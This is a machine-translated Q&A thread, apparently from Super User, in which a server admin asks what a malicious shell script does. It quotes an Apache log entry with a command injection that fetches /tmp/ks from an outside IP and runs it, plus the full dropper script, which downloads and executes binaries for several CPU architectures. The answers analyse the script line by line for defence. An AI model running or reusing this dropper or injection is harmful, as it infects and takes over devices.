Apa yang dilakukan skrip bash ini? [Retas Usaha]

31

Saya telah memperhatikan pada log apache server saya, baris aneh berikut belakangan ini:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

Jadi saya membuat filter Fail2Ban khusus dan mulai melarang IP yang meminta URL /login.cgi ini.

Tapi saya penasaran dengan apa yang mereka coba lakukan, jadi saya menarik skrip yang mereka coba jalankan dan sepertinya saya tidak tahu apa sebenarnya yang dilakukannya. Sesuatu tentang menghapus folder lengkung di / var dan / tmp?

Bagaimanapun, ini dia:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done
ndom91
sumber
4
Kerentanan terkait: twitter.com/txalin/status/1007625620090707974?lang=en
user2064000
1
Bagaimana skrip itu masuk ke server Anda?
MrWhite
3
Saya baru saja membuka file .sh di browser di PC rumah saya dan menyalin dan menempelnya di sini, tidak pernah benar-benar masuk ke server saya.
ndom91
1
Skrip ini adalah 'dropper', yang digunakan untuk mengunduh skrip exploit yang sebenarnya. Ini akan berlokasi di hxxp://80.211.173.159:80/$nametempat $namemasing-masing arsitektur CPU bin_names. Jadi 7 skrip serangan akan diunduh dan dieksekusi
BlueCacti

Jawaban:

42

Baris demi baris:

#!/bin/sh

Menetapkan shcangkang, yang mana pun itu, sebagai garis shebang. sh%20/tmp/ksdalam permintaan menimpa ini, jadi baris ini diperlakukan sebagai komentar normal dan diabaikan.

u="asgknskjdgn"

Menyatakan nama yang sewenang-wenang, mungkin untuk menghindari bertabrakan dengan nama file lain. Saya tidak yakin mengapa mereka tidak hanya menggunakan mktemp, tapi mungkin itu tidak tersedia di semua platform.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Menghitung beberapa arsitektur CPU umum.

http_server="80.211.173.159"
http_port=80

Server yang memiliki exploit.

cd /tmp/||cd /var/

Mencoba mengubah direktori ke suatu tempat server web Anda kemungkinan dapat membuat file. Saya percaya SELinux akan membantu dengan ini, dengan memberlakukan aturan yang lebih ketat tentang apa yang dapat dilakukan server web daripada sistem file sendiri.

for name in $bin_names
    do

Untuk setiap arsitektur CPU ...

    rm -rf $u

Menghapus program eksploit yang sebelumnya dicoba. Tidak perlu karena baris berikutnya, jadi bisa diabaikan.

    cp $SHELL $u

Salinan shell saat ini dapat dieksekusi ( /bin/sh). Dapat diabaikan karena garis setelah selanjutnya.

    chmod 777 $u

Membuat setiap orang memiliki akses penuh ke file baru. Ini seharusnya setelah wgetperintah, yang merupakan tanda dari shell scripting newbie atau teknik penyesatan.

    >$u

Mengosongkan file. Tidak ada gunanya karena baris berikutnya.

    wget http://$http_server:$http_port/$name -O -> $u

Timpa file dengan skrip exploit untuk arsitektur ini. -O -> $ubisa ditulis -O - > $u(tanda hubung menunjukkan bahwa unduhan harus ditulis dengan output standar) yang setara dengan -O $u.

    ./$u $name

Menjalankan skrip exploit dengan arsitektur sebagai argumen pertama.

done

Mengakhiri loop.

Sepertinya ini adalah skrip percobaan exploit sepele, mencoba eksploit yang diketahui terhadap berbagai platform CPU. Saya tidak tahu mengapa itu menimpa $utiga kali, tetapi operasi itu bisa saja tetap dari iterasi skrip sebelumnya. Agaknya versi sebelumnya memiliki eksploitasi hard coded daripada dilayani secara dinamis - yang pertama lebih mudah tetapi hampir menjamin bahwa script akan kurang efektif seiring waktu karena bug ditambal.

l0b0
sumber
21
Ada keuntungan untuk secara rm'ing mengambil file. Jika tujuan sudah ada dan sedang dieksekusi sekarang, kernel tidak akan memungkinkan Anda untuk membuka file untuk ditulis (-ETXTBSY). Namun, mengubah nama atau menghapus program yang berjalan diizinkan.
grawity
Apa yang ->di wgetperintah lakukan? Kenapa tidak adil wget ... -O $u?
RonJohn
1
@RonJohn membacanya sebagai- >
cat
5
Dengan -O->filename, filenametidak muncul dalam output ps ax . Itu bisa menjadi keuntungan untuk membuat debugging lebih sulit.
Poin
1
The cpmemberikan file executable. Mungkin bermanfaat jika chmodgagal? Sunting: mengingat bahwa tampaknya ini menargetkan router, sangat mungkin itu chmodtidak ada.
Bob
12

Ini wgetadalah garis berbahaya utama.

Ini for name in $bin_namesbekerja melalui daftar platform dan untuk setiap platform membersihkan direktori sementara, menyalin shell dan membuatnya dapat diakses oleh semua orang.

Kemudian mengunduh file menggunakan wgetdan kemudian mengeksekusinya menggunakan program shell yang baru saja disalin.

Skrip ini pada dasarnya mencoba mengunduh serangkaian executable atau skrip untuk setiap platform yang ada dan menggosoknya ke sistem Anda dengan harapan dapat membahayakan sistem Anda lebih lanjut.

Mokubai
sumber
6
menggosok == berlari?
Barmar
5
@Barmar Saya yakin itu disengaja: P
Luke Kanada REINSTATE MONICA